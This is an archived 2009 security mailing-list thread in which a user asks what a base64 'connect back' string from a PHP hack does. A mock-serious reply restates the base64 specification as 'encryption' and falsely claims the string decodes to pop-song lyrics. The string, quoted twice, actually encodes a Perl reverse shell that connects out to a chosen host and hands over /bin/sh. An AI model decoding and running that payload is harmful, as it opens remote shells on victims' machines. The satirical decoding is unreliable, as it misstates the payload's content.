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Re: connect back PHP hack
From: Fredrick Diggle <fdiggle () gmail com>
Date: Thu, 12 Feb 2009 00:52:40 -0600

Fredrick Diggle Security has taken it upon itself to reverse this
highly mystical encryption schema and has employed its crack
cryptanalysis experts and reverse engineers including the highly
acclaimed Mustache to get answers to your questions.

The team has spent a restless 48 hours reverse engineering this schema
and presents the following formal analysis to the cryptographic
community at large.

1.  High Level Overview

   A 65-character subset of US-ASCII is used, enabling 6 bits to be
   represented per printable character.  (The extra 65th character, "=",
   is used to signify a special processing function.)

   The encoding process represents 24-bit groups of input bits as output
   strings of 4 encoded characters.  Proceeding from left to right, a
   24-bit input group is formed by concatenating 3 8-bit input groups.
   These 24 bits are then treated as 4 concatenated 6-bit groups, each
   of which is translated into a single digit in the encrypted alphabet.

   Each 6-bit group is used as an index into an array of 64 printable
   characters.  The character referenced by the index is placed in the
   output string.

                   Table 1: Alphabetic Substitution

      Value Encoding  Value Encoding  Value Encoding  Value Encoding
          0 A            17 R            34 i            51 z
          1 B            18 S            35 j            52 0
          2 C            19 T            36 k            53 1
          3 D            20 U            37 l            54 2
          4 E            21 V            38 m            55 3
          5 F            22 W            39 n            56 4
          6 G            23 X            40 o            57 5
          7 H            24 Y            41 p            58 6
          8 I            25 Z            42 q            59 7
          9 J            26 a            43 r            60 8
         10 K            27 b            44 s            61 9
         11 L            28 c            45 t            62 +
         12 M            29 d            46 u            63 /
         13 N            30 e            47 v
         14 O            31 f            48 w         (pad) =
         15 P            32 g            49 x
         16 Q            33 h            50 y

   Special processing is performed if fewer than 24 bits are available
   at the end of the data being encoded.  A full encoding quantum is
   always completed at the end of a quantity.  When fewer than 24 input
   bits are available in an input group, zero bits are added (on the
   right) to form an integral number of 6-bit groups.  Padding at the
   end of the data is performed using the '=' character.  Since all encrypted
   input is an integral number of octets, only the following cases
   can arise:

   (1) the final quantum of encoding input is an integral multiple of 24
   bits; here, the final unit of encoded output will be an integral
   multiple of 4 characters with no "=" padding,

   (2) the final quantum of encoding input is exactly 8 bits; here, the
   final unit of encoded output will be two characters followed by two
   "=" padding characters, or

   (3) the final quantum of encoding input is exactly 16 bits; here, the
   final unit of encoded output will be three characters followed by one
   "=" padding character.

2.  Illustrations and examples

   To translate between binary and this encryption schema, the input is stored
   in a structure and the output is extracted.  This relationship is
   displayed in the following figure.

         +--first octet--+-second octet--+--third octet--+
         |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|
         +-----------+---+-------+-------+---+-----------+
         |5 4 3 2 1 0|5 4 3 2 1 0|5 4 3 2 1 0|5 4 3 2 1 0|
         +--1.index--+--2.index--+--3.index--+--4.index--+

   The following is an example of this schema in use.

       Input data:  0x14fb9c03d97e
       Hex:     1   4    f   b    9   c     | 0   3    d   9    7   e
       8-bit:   00010100 11111011 10011100  | 00000011 11011001
       11111110
       6-bit:   000101 001111 101110 011100 | 000000 111101 100111
       111110
       Decimal: 5      15     46     28       0      61     37     62
       Output:  F      P      u      c        A      9      l      +

       Input data:  0x14fb9c03d9
       Hex:     1   4    f   b    9   c     | 0   3    d   9
       8-bit:   00010100 11111011 10011100  | 00000011 11011001
                                                       pad with 00
       6-bit:   000101 001111 101110 011100 | 000000 111101 100100
       Decimal: 5      15     46     28       0      61     36
                                                          pad with =
       Output:  F      P      u      c        A      9      k      =

       Input data:  0x14fb9c03
       Hex:     1   4    f   b    9   c     | 0   3
       8-bit:   00010100 11111011 10011100  | 00000011
                                              pad with 0000
       6-bit:   000101 001111 101110 011100 | 000000 110000
       Decimal: 5      15     46     28       0      48
                                                   pad with =      =
       Output:  F      P      u      c        A      w      =      =


3.  Conclusions

Given this analysis of the provided data it is clear that when
decrypted the clear text of the encrypted string :
"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="

Becomes:

"I've had a little bit too much, much
All of the people start to rush, start to rush by
A dizzy twisted dance, can't find my drink, oh man
Where are my keys? I lost my phone, phone

What's going on on the floor?
I love this record baby but I can't see straight anymore
Keep it cool, what's the name of this club?
I can't remember but it's alright, a-alright

Just dance, gonna be okay, da da doo-doo-mmm
Just dance, spin that record babe, da da doo-doo-mmm
Just dance, gonna be okay, d-d-d-dance
Dance, dance, just, j-j-just dance

Wish I could shut my playboy mouth, oh oh oh-oh
How'd I turn my shirt inside out? Inside outright
Control your poison babe, roses have thorns they say
And we're all getting hosed tonight, oh oh oh-oh

What's going on on the floor?
I love this record baby but I can't see straight anymore
Keep it cool, what's the name of this club?
I can't remember but it's alright, a-alright

Just dance, gonna be okay, da da doo-doo-mmm
Just dance, spin that record babe, da da doo-doo-mmm
Just dance, gonna be okay, d-d-d-dance
Dance, dance, just, j-j-just

When I come through on the dance floor checkin' out that catalog
Can't believe my eyes, so many women without a flaw
And I ain't gon' give it up, steady tryin' to pick it up like a car
I'ma hit it, I'ma hit it and flex and do it until tomorr' yeah

Shawty I can see that you got so much energy
The way you're twirlin' up them hips 'round and 'round
And now there's no reason at all why you can't leave here with me
In the meantime stay and let me watch you break it down

And dance, gonna be okay, da da doo-doo-mmm
Just dance, spin that record babe, da da doo-doo-mmm

Just dance, gonna be okay, da da doo-doo-mmm
Just dance, spin that record babe, da da doo-doo-mmm
Just dance, gonna be okay, d-d-d-dance
Dance, dance, just, j-j-just dance

Woo! Let's go!

Half psychotic, sick, hypnotic
Got my blueprint, it's symphonic
Half psychotic, sick, hypnotic
Got my blueprint electronic

Half psychotic, sick, hypnotic
Got my blueprint, it's symphonic
Half psychotic, sick, hypnotic
Got my blueprint electronic

Go! Use your muscle, carve it out, work it, hustle
I got it, just stay close enough to get it
Don't slow! Drive it, clean it, Lysol, bleed it
Spend the last dough
(I got it)
In your pocko
(I got it)

Just dance, gonna be okay, da da doo-doo-mmm
Just dance, spin that record babe, da da doo-doo-mmm

Just dance, gonna be okay, da da doo-doo-mmm
Just dance, spin that record babe, da da doo-doo-mmm
Just dance, gonna be okay, d-d-d-dance
Dance, dance, just, j-j-just dance"

(c)opyright Fredrick Diggle Security 2009

On Tue, Feb 10, 2009 at 12:23 PM, sr. <staticrez () gmail com> wrote:
can anyone tell me what encoding this is?

$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

this has to do with old php 4.x.x version with magic quotes enabled.
i'm just trying to figure out what the connect back code does.

any input is much appreciated.

thx,

sr.

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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


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